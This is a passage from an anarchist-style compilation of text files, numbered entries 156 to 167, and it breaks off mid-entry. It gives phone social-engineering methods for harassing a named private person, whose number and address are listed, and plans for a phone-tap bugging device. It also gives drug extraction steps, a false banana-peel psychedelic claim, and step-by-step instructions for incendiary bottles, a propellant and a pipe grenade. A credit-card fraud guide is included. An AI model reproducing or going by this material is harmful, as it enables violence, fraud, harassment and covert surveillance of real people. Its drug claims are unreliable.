Magazine - Vol. 1, Issue 1 by The Iron Soldier +"Vengeance is mine", says the Phreak. +METHOD 1-PHONE LINE PHUN +Call up the business office. It should be listed at the front of the white pages. Say you wanted to disconnect Scott Korman's line. DIAL 800- +xxx-xxxx. +"Hello, this is Mr. Korman, I'm moving to California and would like to have my phone service disconnected. I'm at the airport now. I'm calling from +a payphone, my number is [414] 445 5005. You can send my final bill to: (somewhere in California). Thank you." +METHOD 2-PHONE BOOKS +Call up the business office from a pay phone. Say : +"Hello, I'd like to order a Phone Book for Upper Volta (or any out-of-the way area with Direct Dialing). This is Scott Korman, ship to 3119 N. 44th +St. Milwaukee, WI 53216. Yes, I under stand it will cost $xx($25-$75!!). Thank you." +METHOD 3-PHONE CALLS +Call up a PBX, enter the code and get an outside line. Then dial 0+ the number desired to call. You will hear a bonk and then an operator. Say, +"I'd like to charge this to my home phone at 414-445-5005. Thank you." A friend and I did this to a loser, I called him at 1:00 AM and we left the +fone off the hook all night. I calculated that it cost him $168. +METHOD 4-MISC. SERVICES +Call up the business office once again from a payfone. Say you'd like call waiting, forwarding, 3 way, etc. Once again you are the famed loser +Scott Korman. He pays-you laugh. You don't know how funny it was talking to him, and wondering what those clicks he kept hearing were. +METHOD 5-CHANGED & UNPUB +Do the same as in #4, but say you'd like to change and unlist your (Scott's) +number. Anyone calling him will get: +"BEW BEW BEEP. The number you have reached, 445-5005, has been changed to a non-published number. No further....." +METHOD 6-FORWARDING +This required an accomplice or two or three. Around Christmas time, go to Toys 'R' Us. Get everyone at the customer service or manager's +desk away ("Hey, could you help me"). Then you get on their phone and dial (usually dial 9 first) and the business office again. This time, say +you are from Toys 'R' Us, and you'd like to add call forwarding to 445-5005. Scott will get 100-600 calls a day!!! +METHOD 7-RUSSIAN CALLER +Call a payphone at 10:00 PM. Say to the operator that you'd like to book a call to Russia. Say you are calling from a payphone, and your number +is that of the loser to fry (e.g. 445-5005). She will say that she'll have to call ya back in 5 hours, and you OK that. Meanwhile the loser (e.g.) +Scott, will get a call at 3:00 AM from an operator saying that the call he booked to Russia is ready. +156.International Country Code Listing by The Jolly Roger +*UNITED KINGDOM/IRELAND +------------------------------------ +IRELAND.........................353 +UNITED KINGDOM...................44 +*EUROPE +------------------------------------ +ANDORRA..........................33 +AUSTRIA..........................43 +BELGIUM..........................32 +CYPRUS..........................357 +CZECHOLSLOVAKIA..................42 +DENMARK..........................45 +FINLAND.........................358 +FRANCE...........................33 +GERMAN DEMOCRATIC REPUBLIC.......37 +GERMANY, FEDERAL REPUBLIC OF.....49 +GIBRALTAR.......................350 +GREECE...........................30 +HUNGARY..........................36 +ICELAND.........................354 +ITALY............................39 +LIECHTENSTEIN....................41 +LUXEMBOURG......................352 +MONACO...........................33 +NETHERLANDS......................31 +NORWAY...........................47 +POLAND...........................48 +PORTUGAL........................351 +ROMANIA..........................40 +SAN MARINO.......................39 +SPAIN............................34 +SWEDEN...........................46 +SWITZERLAND......................41 +TURKEY...........................90 +VATICAN CITY.....................39 +YUGOSLAVIA.......................38 +*CENTRAL AMERICA +------------------------------------ +BELIZE.........................�01 +COSTA RICA.....................�06 +EL SALVADOR....................�03 +GUATEMALA......................�02 +HONDURAS.......................�04 +NICARAGUA......................�05 +PANAMA.........................�07 +*AFRICA +------------------------------------ +ALGERIA.........................213 +CAMEROON........................237 +EGYPT............................20 +ETHIOPIA........................251 +GABON...........................241 +IVORY COAST.....................225 +KENYA...........................254 +LESOTHO.........................266 +LIBERIA.........................231 +LIBYA...........................218 +MALAWI..........................265 +MOROCCO.........................212 +NAMIBIA.........................264 +NIGERIA.........................234 +SENEGAL.........................221 +SOUTH AFRICA.....................27 +SWAZILAND.......................268 +TANZANIA........................255 +TUNISIA.........................216 +UGANDA..........................256 +ZAMBIA..........................260 +ZIMBABWE........................263 +*PACIFIC +------------------------------------ +AMERICAN SAMOA..................684 +AUSTRALIA........................61 +BRUNEI..........................673 +FIJI............................679 +FRENCH POLYNESIA................689 +GUAM............................671 +HONG KONG.......................852 +INDONESIA........................62 +JAPAN............................81 +KOREA, REPUBLIC OF...............82 +MALAYSIA.........................60 +NEW CALEDONIA...................687 +NEW ZEALAND......................64 +PAPUA NEW GUINEA................675 +PHILIPPINES......................63 +SAIPAN..........................670 +SINGAPORE........................65 +TAIWAN..........................886 +THAILAND.........................66 +*INDIAN OCEAN +------------------------------------ +PAKISTAN.........................92 +SRI LANKA........................94 +*SOUTH AMERICA +------------------------------------ +ARGENTINA.......................�4 +BOLIVIA........................�91 +BRAZIL..........................�5 +CHILE...........................�6 +COLOMBIA........................�7 +ECUADOR........................�93 +GUYANA.........................�92 +PARAGUAY.......................�95 +PERU............................�1 +SURINAM........................�97 +URUGUAY........................�98 +VENEZUELA.......................�8 +*NEAR EAST +------------------------------------ +BAHRAIN.........................973 +IRAN.............................98 +IRAQ............................964 +ISRAEL..........................972 +JORDAN..........................962 +KUWAIT..........................965 +OMAN............................968 +QATAR...........................974 +SAUDI ARABIA....................966 +UNITED ARAB EMIRATES............971 +YEMEN ARAB REPUBLIC.............967 +*CARIBBEAN/ATLANTIC +------------------------------------ +FRENCH ANTILLES................�96 +GUANTANAMO BAY (US NAVY BASE)...�3 +HAITI..........................�09 +NETHERLANDS ANTILLES...........�99 +ST. PIERRE AND MIQUELON........�08 +*INDIA +------------------------------------ +INDIA............................91 +*CANADA +------------------------------------ +TO CALL CANADA, DIAL 1 + AREA CODE + LOCAL NUMBER. +*MEXICO +------------------------------------ +TO CALL MEXICO, DIAL 011 + 52 + CITY CODE+ LOCAL NUMBER. +To dial international calls: +International Access Code + Country code + Routing code +Example : +To call Frankfurt, Germany, you would do the following: +011 + 49 + 611 + (# wanted) + # sign(octothrope) +The # sign at the end is to tell Bell that you are done entering in all the needed info. +157.The Infinity Transmitter: by <<>> +FROM THE BOOK BUILD YOUR OWN +LASER, PHASER, ION RAY GUN & OTHER WORKING SPACE-AGE PROJECTS +BY ROBERT IANNINI (TAB BOOKS INC.) +Description: Briefly, the Infinity Transmitter is a device which activates a microphone via a phone call. It is plugged into the phone line, and +when the phone rings, it will immediately intercept the ring and broadcast into the phone any sound that is in the room. This device was +originally made by Information Unlimited, and had a touch tone decoder to prevent all who did not know the code from being able to use the +phone in its normal way. This version, however, will activate the microphone for anyone who calls while it is in operation. +NOTE: It is illegal to use this device to try to bug someone. It is also pretty stupid because they are fairly noticeable. +Parts List: +Pretend that uF means micro Farad, cap = capacitor +Part # Description +---- - ----------- +R1,4,8 3 390 k watt resistor +R2 1 5.6 M watt resistor +R3,5,6 3 6.8 k watt resistor +R7/S1 1 5 k pot/switch +R9,16 2 100 k watt resistor +R10 1 2.2 k watt resistor +R13,18 2 1 k watt resistor +R14 1 470 ohm watt resistor +R15 1 10 k watt resistor +R17 1 1 M watt resistor +C1 1 .05 uF/25 V disc cap +C2,3,5,6,7 5 1 uF 50 V electrolytic cap or tant (preferably non-polarized) +C4,11,12 3 .01 uF/50 V disc cap +C8,10 2 100 uF @ 25 V electrolytic cap +C9 1 5 uF @ 150 V electrolytic cap +C13 1 10 uF @ 25 V electrolytic cap +TM1 1 555 timer dip +A1 1 CA3018 amp array in can +Q1,2 2 PN2222 npn sil transistor +Q3 1 D4OD5 npn pwr tab transistor +D1,2 2 50 V 1 amp react. 1N4002 +T1 1 1 k/500 matching transformer +M1 1 large crystal microphone +J1 1 Phono jack optional for sense output +WR3 (24") #24 red and black hook up wire +WR4 (24") #24 black hook up wire +CL3,4 2 Alligator clips +CL1,2 2 6" battery snap clips +PB1 1 1 3/4x4 �x.1 perfboard +CA1 1 5 �x3x2 1/8 grey enclosure fab +WR15 (12") #24 buss wire +KN1 1 small plastic knob +BU1 1 small clamp bushing +B1,2 2 9 volt transistor battery or 9V ni -cad +Circuit Operation: Not being the most technical guy in the world, and not being very good at electronics (yet), I'm just repeating what Mr. +Iannini's said about the circuit operation. The Transmitter consists of a high grain amplifier fed into the telephone lines via transformer. The +circuit is initiated by the action of a voltage transient pulse occurring across the phone line at the instant the telephone circuit is made (the +ring, in other words). This transient immediately triggers a timer whose output pin 3 goes positive, turning on transistors Q2 and Q3. Timer +TM1 now remains in this state for a period depending on the values of R17 and C13 (usually about 10 seconds for the values shown). When +Q3 is turned on by the timer, a simulated "off hook" condition is created by the switching action of Q3 connecting the 500 ohm winding of the +transformer directly across the phone lines. Simultaneously, Q2 clamps the ground of A1, amplifier, and Q1, output transistor, to the negative +return of B1, B2, therefore enabling this amplifier section. Note that B2 is always required by supplying quiescent power to TM1 during +normal conditions. System is off/on controlled by S1 (switch). A crystal mike picks up the sounds that are fed to the first two transistors of +the A1 array connected as an emitter follower driving the remaining two transistors as cascaded common emitters. Output of the array +now drives Q1 capacitively coupled to the 1500 ohm winding of T1. R7 controls the pick up sensitivity of the system. Diode D1 is +forward biased at the instant of connection and essentially applies a negative pulse at pin 2 of TM1, initiating the cycle. D2 clamps any high +positive pulses. C9 dc-isolates and desensitizes the circuit. The system described should operate when any incoming call is made without +ringing the phone. +Schematic Diagram: Because this is text, this doesn't look too hot. Please use a little imagination! I will hopefully get a graphics drawing of this +out as soon as I can on a Fontrix graffile. +To be able to see what everything is, this character: | should appear as a horizontal bar. I did this on a ][e using a ][e 80 column card, so I'm +sorry if it looks kinda weird to you. +Symbols: +resistor: -/\/\/- switch: _/ _ +battery: -|!|!- capacitor (electrolytic): -|(- +capacitor (disc): -||- _ _ +transistor:(c) > (e) Transformer: )||( +\_/ )||( +|(b) _)||(_ +diode: |< +chip: ._____. +!_____! (chips are easy to recognize!) +Dots imply a connection between wires. NO DOT, NO CONNECTION. +i.e..: _!_ means a connection while _|_ means no connection. +---------------------------------------------------------------------------�- +.________________________to GREEN wire phone line +| +| .______________________to RED wire phone line +| | +| | ._________(M1)______________. +| | | | +| | | R1 | +| | !__________/\/\/____________! +| | | _!_ C1 +| | |this wire is the amp ___ +| | |<=ground | R2 +| | | !___________________/\/\/_____________. +| | | ._______!_______. | +| | !___________________!4 9 11!_____________________________! +| | | | | | +| | !___________________!7 12._____________________________! +| | | | A1 | R3 | +| | !___________________!10 ____*8!_______.____/\/\/____________! +| | | | / | | | +| | | C4 | / | \ |2ma +| | !____||______. | / | /R4 B1 + +| | | || | | / | \ | +| | | R7 | C2 | / | / | +| | !____/\/\/___!__)|__!8*_/ | | S1 | +| | | ^ | 6!_______! neg<__/.__! +| | | | C3 | | | C5 return | +| | | !_____|(___.__!3 | '-|(-| | +| | | | | 5 1!____________! | +| | | \ !_______._______! | B2| +| | !________. R8 / | | + +| | | \ | | R6 |3ma +| | | !__________!____________________|_____/\/\/______! +| | | R5 | | | +| | !__/\/\/___________|____________________! | +| | | | | +| | | | | +| | | C6 | | +| | | |-)|-' R9 | +| | | !_________________/\/\/_______. | +| | | | | | +| | | Q1 _!_ | R10 | +| | !____________/ \____________________________!__/\/\/_____! +| | | | | +| | | | | +| | | C8 | | +| | !__________)|_______________________________|____________! +| | ! | | +| | / | | +| | -----| | | +| | | \ | | +| | | > | | +| | | | | | +| | | | | | +| | | !_____________. | | +| | | | | | +| | !__________. | | | +| | | | | | +| !________. | | ._____! | +| | | | | | +| | | | | | +| | | | | C7 | +| | | | '-|(-| | +| |_________|_________!_______.T1._________________| | +| | | 1500 )||( 500 | +| | | ohm )||( ohm | +| | !______.)||(.__. | +| | | | | +| | | | | +| | | > | +| | | |/ | +| | | +----| Q3 | +| | | | |\ | +!____________________|_________|_______|______!__. D1 C9 | +| | | '-|<---|(------| | +.______________! | | | | +| | | | | +| .________________! | | | +| | | | | +\ | .________________! C11 | | +/ | | .___||____________! | +R13 \ | | | || | | +/ | | | | | +\ !___.___|_______________________! | | +| | | | | R16 | R15 | +| v | | !___/\/\/\________!___/\/\/_! +| neg | | | D2 | | +| return | | !_____|<__________! | +| B1,B2 | \ | | | +| | / | .____________!_. | +| | \R14 |C12 | TM1 2 | | +| | / !_||_!5 4!_______! +| | \ | || | | | +| | | !____!1 8!_______! +| | | | | 7 6 3 | | +| | | | !_____._.____._! | +| | | | | | | | +| | | | C13 | | | R17 | +| | | !___)|_____!_!____|__/\/\/__! +| | | | | | +!___________|___!_______________________|_________________! | +| | | | +| \ | C10 | +| /R18 !__________)|_______________! +| \ +| / +| | +!___O J1 +sense output +Construction notes: Because the damned book just gave a picture instead of step by step instructions, and I'll try to give you as much help as +possible. Note that all the parts that you will be using are clearly labeled in the schematic. The perfboard, knobs, 'gator clips, etc are optional. I +do strongly suggest that you do use the board!!! It will make wiring the components up much much easier than if you don't use it. The knob you +can use to control the pot (R7). R7 is used to tune the IT so that is sounds Ok over the phone. (You get to determine what sounds good) By +changing the value of C13, you can change the amount of time that the circuit will stay open (it cannot detect a hang up, so it works on a +timer.) A value of 100 micro Farads will increase the time by about 10 times. The switch (S1) determines whether or not the unit is operational. +Closed is on. Open is off. The negative return is the negative terminals of the battery!! The batteries will look something like this when hooked +up: +<-v_____. .______. ._____. .____-> +| | | | | | +__!___!__ | | __!___!__ +| + - | !_/ _! | + - | +| | switch ^ | | +| 9volts| | | 9volts| +!_______! neg return !_______! +To hook this up to the phone line, there are three ways, depending upon what type of jack you have. If it is the old type (non modular) then you +can just open up the wall plate and connect the wires from the transmitter directly to the terminals of the phone. +If you have a modular jack with four prongs, attach the red to the negative prong (don't ask me which is which! I don't have that type of jack... +I've only seen them in stores), and the green to the positive prong, and plug in. Try not to shock yourself... +If you have the clip-in type jack, get double male extension cord (one with a clip on each end), and chop off one clip. Get a sharp knife and +splice off the gray protective material. You should see four wires, including one green and one red. You attach the appropriate wires from the +IT to these two, and plug the other end into the wall. +Getting the IT to work: If you happen to have a problem, you should attempt to do the following (these are common sense rules!!) Make sure +that you have the polarity of all the capacitors right (if you used polarized capacitors, that is). Make sure that all the soldering is done well and +has not short circuited something accidentally (like if you have a glob touching two wires which should not be touching.) Check for other short +circuits. Check to see if the battery is in right. Check to make sure the switch is closed. If it still doesn't work, drop me a line on one of the +Maryland or Virginia BBSs and I'll try to help you out. +The sense output: Somehow or other, it is possible to hook something else up to this and activate it by phone (like an alarm, flashing lights, etc.) +158.LSD by The Jolly Roger +I think, of all the drugs on the black market today, LSD is the strangest. It is the most recent major drug to come to life in the psychedelic +subculture. (Blah blah blah... let's get to the good stuff: How to make it in your kitchen!!) +1.Grind up 150 grams of Morning Glory seeds or baby Hawaiian wood rose seeds. +2.In 130 cc. of petroleum ether, soak the seeds for two days. +3.Filter the solution through a tight screen. +4.Throw away the liquid, and allow the seed mush to dry. +5.For two days allow the mush to soak in 110 cc. of wood alcohol. +6.Filter the solution again, saving the liquid and labeling it "1." +7.Resoak the mush in 110 cc. of wood alcohol for two days. +8.Filter and throw away the mush. +9.Add the liquid from the second soak to the solution labeled "1." +10.Pour the liquid into a cookie tray and allow it to evaporate. +11.When all of the liquid has evaporated, a yellow gum remains. This should be scraped up and put into capsules. + 30 grams of Morning Glory seeds = 1 trip + 15 Hawaiian wood rose seeds = 1 trip +Many companies, such as Northop-King have been coating their seeds with a toxic chemical, which is poison. Order seeds from a wholesaler, +as it is much safer and cheaper. Hawaiian wood rose seeds can be ordered directly from: +Chong's Nursery and Flowers +P.O. Box 2154 +Honolulu, Hawaii +LSD DOSAGES +The basic dosages of acid vary according to what kind of acid is available and what medium of ingestion is used. Chemically, the potency of +LSD-25 is measured in micrograms, or mics. If you're chemically minded or making your own acid, then computing the number of micrograms is +very important. Usually between 500 and 800 mics is plenty for an 8 hour trip, depending on the quality of the acid, of course. I have heard of +people taking as much as 1,500-2,000 mics. This is not only extremely dangerous, it is extremely wasteful. +LSD comes packaged in many different forms. The most common are listed below: +1.The brown spot, or a piece of paper with a dried drop of LSD on it, is always around. Usually one spot equals one trip. +2.Capsuled acid is very tricky, as the cap can be almost any color, size, or potency. Always ask what the acid is cut with, as a lot of acid is +cut with either speed or strychnine. Also note dosage. +3.Small white or colored tablets have been known to contain acid, but, as with capsuled acid, it's impossible to tell potency, without asking. +159.Bananas by The Jolly Roger +Believe it or not, bananas do contain a small quantity of _Musa Sapientum bananadine_, which is a mild, short-lasting psychedelic. There are +much easier ways of getting high, but the great advantage to this method is that bananas are legal. +1.Obtain 15 lbs. of ripe yellow bananas. +2.Peel all 15 lbs. and eat the fruit. Save the peels. +3.With a sharp knife, scrape off the insides of the peels and save the scraped material. +4.Put all of the scraped material in a large pot and add water. Boil for three to four hours until it has attained a solid paste consistency. +5.Spread this paste on cookie sheets, and dry in an over for about 20 minutes to a half hour. This will result in a fine black powder. Makes +about one pound of bananadine powder. Usually one will feel the effects of bananadine after smoking three or four cigarettes. +Table of Weights +Pounds Ounces Grams Kilos +1 16 453.6 0.4536 +0.0625 1 28.35 0.0283 +0.0022 0.0352 1 0.001 +2.205 35.27 1,000 1 +160.Yummy Marihuana Recipes by The Jolly Roger +Acapulco Green + 3 ripe avocados + cup chopped onions + 2 teaspoons chili powder + 3 tablespoons wine vinegar + cup chopped marihuana (grass) +Mix the vinegar, grass, and chili powder together and let the mixture stand for one hour. Then add avocados and onions and mash it all +together. It can be served with tacos or as a dip. +Pot Soup + 1 can condensed beef broth + 3 tablespoons grass + 3 tablespoons lemon juice + can w ater + 3 tablespoons chopped watercress +Combine all ingredients in a saucepan and bring to a boil over medium heat. Place in a refrigerator for two to three hours, reheat, and serve. +Pork and Beans and Pot + 1 large can (1 lb. 13 oz.) pork and beans + cup grass + 4 slices bacon + cup light molasses + teaspoon hickory salt + 3 pineapple rings +Mix together in a casserole, cover top with pineapple and bacon, bake at 350 for about 45 minutes. Serves about six. +The Meat Ball + 1 lb. hamburger + cup chopped onions + 1 can cream of mushroom soup + cup bread crumbs + 3 tablespoons grass + 3 tablespoons India relish +Mix it all up and shape into meat balls. Brown in frying pan and drain. Place in a casserole with soup and cup water, cover and cook over +low heat for about 30 minutes. Feeds about four people. +Spaghetti Sauce + 1 can (6 oz.) tomato paste + 2 tablespoons olive oil + cup chopped onions + cup chopped grass + 1 pinch pepper + 1 can (6 oz.) water + clove minced garlic + 1 bay leaf + 1 pinch thyme + teaspoon salt +Mix in large pot, cover and simmer with frequent stirring for two hours. Serve over spaghetti. +Pot Loaf + 1 packet onion soup mix + 1 (16 oz.) can whole peeled tomatoes + cup chopped grass + 2 lbs. ground beef or chicken or turkey + 1 egg + 4 slices bread, crumbled +Mix all ingredients and shape into a loaf. Bake for one hour in 400 oven. Serves about six. +Chili Bean Pot + 2 lbs. pinto beans + 1 lb. bacon, cut into two-inch sections + 2 cups red wine + 4 tablespoons chili powder + clove garlic + 1 cup chopped grass + cup mushrooms +Soak beans overnight in water. In a large pot pour boiling water over beans and simmer for at least an hour, adding more water to keep +beans covered. Now add all other ingredients and continue to simmer for another three hours. Salt to taste. Serves about ten. +Bird Stuffing + 5 cups rye bread crumbs + 2 tablespoons poultry seasoning + cup each of raisins and almonds + cup celery + 1/3 cup chopped onions + 3 tablespoons melted butter + cup chopped grass + 2 tablespoons red wine +Mix it all together, and then stuff it in. +Apple Pot + 4 apples (cored) + cup brown sugar + cup water + 4 cherries + 1/3 cup chopped grass + 2 tablespoons cinnamon +Powder the grass in a blender, then mix grass with sugar and water. Stuff cores with this paste. Sprinkle apples with cinnamon, and top with +a cherry. Bake for 25 minutes at 350�. +Pot Brownies + cup flour + 3 tablespoons shortening + 2 tablespoons honey + 1 egg (beaten) + 1 tablespoon water + cup grass + pinch of salt + teaspoon baking powder + cup sugar + 2 tablespoons corn syrup + 1 square melted chocolate + 1 teaspoon vanilla + cup chopped nuts +Sift flour, baking powder, and salt together. Mix shortening, sugar, honey, syrup, and egg. Then blend in chocolate and other ingredients, and +mix well. Spread in an 8-inch pan and bake for 20 minutes at 350�. +Banana Bread + cup shortening + 2 eggs + 1 teaspoon lemon juice + 3 teaspoons baking powder + 1 cup sugar + 1 cup mashed bananas + 2 cups sifted flour + cup chopped grass + teaspoon salt + 1 cup chopped nuts +Mix the shortening and sugar, beat eggs, and add to mixture. Separately mix bananas with lemon juice and add to the first mixture. Sift flour, +salt, and baking powder together, then mix all ingredients together. Bake for 1 hours at 375�. +Sesame Seed Cookies + 3 oz. ground roast sesame seeds + 3 tablespoons ground almonds + teaspoon nutmeg + cup honey + teaspoon ground ginger + teaspoon cinnamon + oz. grass +Toast the grass until slightly brown and then crush it in a mortar. Mix crushed grass with all other ingredients, in a skillet. Place skillet over low +flame and add 1 tablespoon of salt butter. Allow it to cook. When cool, roll mixture into little balls and dip them into the sesame seeds. +If you happen to be in the country at a place where pot is being grown, here's one of the greatest recipes you can try. Pick a medium-sized +leaf off of the marihuana plant and dip it into a cup of drawn butter, add salt, and eat. +161.Peanuts by the Jolly Roger +Try this sometime when you are bored! +1.Take one pound of raw peanuts (not roasted!) +2.Shell them, saving the skins and discarding the shells. +3.Eat the nuts. +4.Grind up the skins and roll them into a cigarette, and smoke! +You'll have fun, believe me! +162.Chemical Fire Bottle by the Jolly Roger +This incendiary bottle is self-igniting on target impact. +Materials Required +Material How Used Common Source +Sulphuric Acid Storage Batteries Motor Vehicles +Material Processing Industrial Plants +Gasoline Motor Fuel Gas Station +Motor Vehicles +Potassium Chlorate Medicine Drug Stores +Sugar Sweetening Foods Food Store + Glass bottle with stopper (roughly 1 quart size) + Small Bottle or jar with lid. + Rag or absorbent paper (paper towels, newspaper) + String or rubber bands +Procedure: +1.Sulphuric Acid MUST be concentrated. If battery acid or other dilute acid is used, concentrate it by boiling until dense white fumes are given +off. Container used to boil should be of enamel-ware or oven glass. +CAUTION: Sulphuric Acid will burn skin and destroy clothing. If any is spilled, wash it away with a large quantity of water. Fumes are +also VERY dangerous and should not be inhaled. +2.Remove the acid from heat and allow to cool to room temperature. +3.Pour gasoline into the large 1 quart bottle until it is approximately 1/3 full. +4.Add concentrated sulphuric acid to gasoline slowly until the bottle is filled to within 1" to 2" from top. Place the stopper on the bottle. +5.Wash the outside of the bottle thoroughly with clear water. +CAUTION: If this is not done, the fire bottle may be dangerous to handle during use! +6.Wrap a clean cloth or several sheets of absorbent paper around the outside of the bottle. Tie with string or fasten with rubber bands. +7.Dissolve cup (100 grams) of potassium chlorate and cup (100 grams) of sugar in one cup (250 cc) of boiling water. +8.Allow the solution to cool, pour into the small bottle and cap tightly. The cooled solution should be approx. 2/3 crystals and 1/3 liquid. If there +is more than this, pour off excess before using. +CAUTION: Store this bottle separately from the other bottle! +How To Use: +1.Shake the small bottle to mix contents and pour onto the cloth or paper around the large bottle. Bottle can be used wet or after solution is +dried. However, when dry, the sugar-Potassium chlorate mixture is very sensitive to spark or flame and should be handled accordingly. +2.Throw or launch the bottle. When the bottle breaks against a hard surface (target) the fuel will ignite. +163.Igniter from Book Matches by The Jolly Roger +This is a hot igniter made from paper book matches for use with molotov cocktail and other incendiaries. +Material Required: + Paper book matches + Adhesive or friction tape +Procedure: +1.Remove the staple(s) from match book and separate matches from cover. +2.Fold and tape one row of matches (fold in thirds) +3.Shape the cover into a tube with striking surface on the inside and tape. Make sure the folder cover will fit tightly around the taped match +heads. Leave cover open at opposite end for insertion of the matches. +4.Push the taped matches into the tube until the bottom ends are exposed about 3/4 in. (2 cm) +5.Flatten and fold the open end of the tube so that it laps over about 1 in. (2- cm); tape in place. +Use with a Molotov Cocktail: +1.Tape the "match end tab" of the igniter to the neck of the molotov cocktail. +2.Grasp the "cover and tab" and pull sharply or quickly to ignite. +General Use: +The book match igniter can be used by itself to ignite flammable liquids, fuse cords, and similar items requiring hot ignition. +CAUTION: Store matches and completed igniters in moistureproof containers such as rubber or plastic bags until ready for use. Damp or wet +paper book matches will not ignite. +164."Red or White Powder" Propellant by the Jolly Roger +"Red or White Powder" Propellant may be prepared in a simple, safe manner. The formulation described below will result in approximately 2 � +pounds of powder. This is a small arms propellant and should only be used in weapons with in. diameter or less (but not pistols!). +Material Required: + Heat Source (Kitchen Stove or open fire) + 2 gallon metal bucket + Measuring cup (8 ounces) + Wooden spoon or rubber spatula + Metal sheet or aluminum foil (at least 18 in. sq.) + Flat window screen (at least 1 foot square) + Potassium Nitrate (granulated) 2-1/3 cups + White sugar (granulated) 2 cups + Powdered ferric oxide (rust) 1/8 cup (if available) + Clear water, 1- cups +Procedure: +1.Place the sugar, potassium nitrate, and water in the bucket. Heat with a low flame, stirring occasionally until the sugar and potassium nitrate +dissolve. +2.If available, add the ferric oxide (rust) to the solution. Increase the flame under the mixture until it boils gently. +NOTE: The mixture will retain the rust coloration. +3.Stir and scrape the bucket sides occasionally until the mixture is reduced to one quarter of its original volume, then stir continuously. +4.As the water evaporates, the mixture will become thicker until it reaches the consistency of cooked breakfast cereal or homemade fudge. At +this stage of thickness, remove the bucket from the heat source, and spread the mass on the metal sheet. +5.While the material cools, score it with a spoon or spatula in crisscrossed furrows about 1 inch apart. +6.Allow the material to dry, preferably in the sun. As it dries, restore it accordingly (about every 20 minutes) to aid drying. +7.When the material has dried to a point where it is moist and soft but not sticky to the touch, place a small spoonful on the screen. Rub the +material back and forth against the screen mesh with spoon or other flat object until the material is granulated into small worm-like +particles. +8.After granulation, return the material to the sun to allow to dry completely. +165.Pipe Hand Grenade by the Jolly Roger +Hand Grenades can be made from a piece of iron pipe. The filler can be of plastic or granular military explosive, improvised explosive, or +propellant from shotgun or small arms ammunition. +Material Required: + Iron Pipe, threaded ends, 1-�" to 3" diameter, 3" to 8" long. + Two (2) iron pipe caps + Explosive or propellant + Nonelectric blasting cap (Commercial or military) + Fuse cord + Hand Drill + Pliers +Procedure: +1.Place blasting cap on one end of fuse cord and crimp with pliers. +NOTE: To find out how long the fuse cord should be, check the time it takes a known length to burn. If 12 inches burns in 30 seconds, a 6 inch +cord will ignite the grenade in 15 seconds. +2.Screw pipe cap to one end of the pipe. Place fuse cord with blasting cap into the opposite end so that the blasting cap is near the center of +the pipe. +NOTE: If plastic explosive is to be used, fill pipe BEFORE inserting blasting cap. Push a round stick into the center of the explosive to make a +hole and then insert the blasting cap. +3.Pour explosive or propellant into pipe a little bit at a time. Tap the base of the pipe frequently to settle filler. +4.Drill a hole in the center of the unassembled pipe cap large enough for the fuse cord to pass through. +5.Wipe pipe threads to remove any filler material. Slide the drilled pipe cap over the fuse and screw hand tight onto the pipe. +166.European Credit Card Fraud by Creditman! +UK credit card fraud is a lot easier than over in the States. The same basic 3 essentials are needed: +1.A safehouse. +2.Credit card numbers with Exp. date and address. +3.Good suppliers of next day delivery goods. +The Safehouse +The safehouse should be on the ground floor, so as not to piss off the delivery man when he comes to drop off your freshly stolen gear. If he +has to go up 10 flights in a complete dive and some 14 year old kid signs for an A2000 then he's gonna wonder! Make sure there are no nosy +neighbors, a good area is one full of yuppies 'cos they all go to work during daytime. Safehouses are usually obtained by paying a month's rent +in advance or putting down a deposit of say, $200. Either that or break into a place and use that. +Credit Card Numbers +The card number, expiry date, start date (if possible), full name (including middle initial), phone number and full address with postcode are +ideal. If you can only get the sirname, and no postcode, you shouldn't have any real hassle. Just say you moved recently to your new address. +Phone number is handy, if it just rings and rings but if it doesn't, then make sure it's ex-directory. You CANNOT get away with giving them a +bullshit phone number. Some fussy companies want phone numbers just to cross-check on CARDNET but generally it's not needed. To recap, +here's a quick check-list: +1.Card number and expiry date. +2.Name and address of card holder. +3.First name/initials (OPTIONAL) +4.Start date (OPTIONAL) +5.Postcode (OPTIONAL) +6.Phone number (OPTIONAL) +If you have all 6, then you shouldn't have any hassle. Start date is the rarest item you could be asked for, postcode and initials being more +common. If you are missing 3-6 then you need one helluva smooth- talking bastard on the phone line!!!! +The Ordering +Not everyone can order $1000's of stuff - it's not easy. You have to be cool, smooth and have some good answers to their questions. I advise +that you only order up to $500 worth of stuff in one go, but if you have details 1-6 and the phone number will NOT be answered from 9 to 5.30 +P.M. then go up to $1000 (make sure it's a GOLD card!). When getting ready to order make sure you have at least 3 times the amount of +suppliers you need e.g. if you want to card 5 hard-drives, make sure you have 15 suppliers. A lot of the time, they are either out stock, can't do +next day delivery or won't deliver to a different address. Quick check list of what you must ask before handing over number: +1.Next day delivery, OK? +2.Ordered to different address to card, OK? +3.Do you have item in stock (pretty obvious, eh?) +Make sure you ask ALL of these questions before handing over your precious number. +Excuses +Usual excuses for a different address are that it's a present or you're on business here for the next 5 weeks etc. Any old bullshit why it won't +go to the proper address. +WARNING! Invoices! WARNING! +Invoices are sometimes sent out with the actual parcel but they are also sent out to the card owners (why do you think they need the address +for?) so using a safehouse for more than 2 days is risky. A 1 day shot is safe, if they catch on then they'll stop the goods before getting a +search warrant. +Credit Limits +Limits on cards reach from $500 to $4000 on Gold cards. Your average card will be about $1000-$1500. It takes a while to build up a good +credit rating in order to have large limits so don't think every card will hold 12 IBM 386's! Visa and Access are always used - American +Express etc. are USELESS. + Access = Eurocard, Mastercard (begins with 5) + Visa = (begins with 4, 16 digit is a Gold) +A general rule is, always confirm an order to make sure credit is cleared. As the month goes on, credit is used up - the bad times are from 27th +- 3rd which is when all the bills come in. Best time to card is around 11th or 12th, when the poor guy has paid off his last bill so you can run up +a new one (he, he, he!). +Ideal items to card +The best stuff is always computer hard-ware as it's next-day. Amigas, ST's, PC's - anything really. Blank discs are a waste of time, they're too +heavy. External drives, monitors - good stuff basically. Don't order any shit like VCR's, Hi-Fi, video-cameras, music keyboards, computer +software, jewerely or anything under $300. You'll find the listed items are difficult to get next day delivery and usually won't deliver to a +different address - bastards, eh? You're wasting your time with little items under $300, try to keep deliveries under 10 a day. +The drop - Two ways of doing the drop +1.Sign for all the gear (make sure you're there between 9.00 and 5.30 P.M.) +2.Don't turn up till around 6.30 P.M. and collect all the cards that the delivery man has left. These usually say 'you were out at XX time so could +you please arrange new time for delivery or pick up from our depot'. In that case, piss off to the depot and get all the gear (need a big +car!). +Remember, carding is ILLEGAL kiddies, so don't get caught. +167.Potassium Bomb by Exodus +This is one of my favorites. This creates a very unstable explosive in a very stable 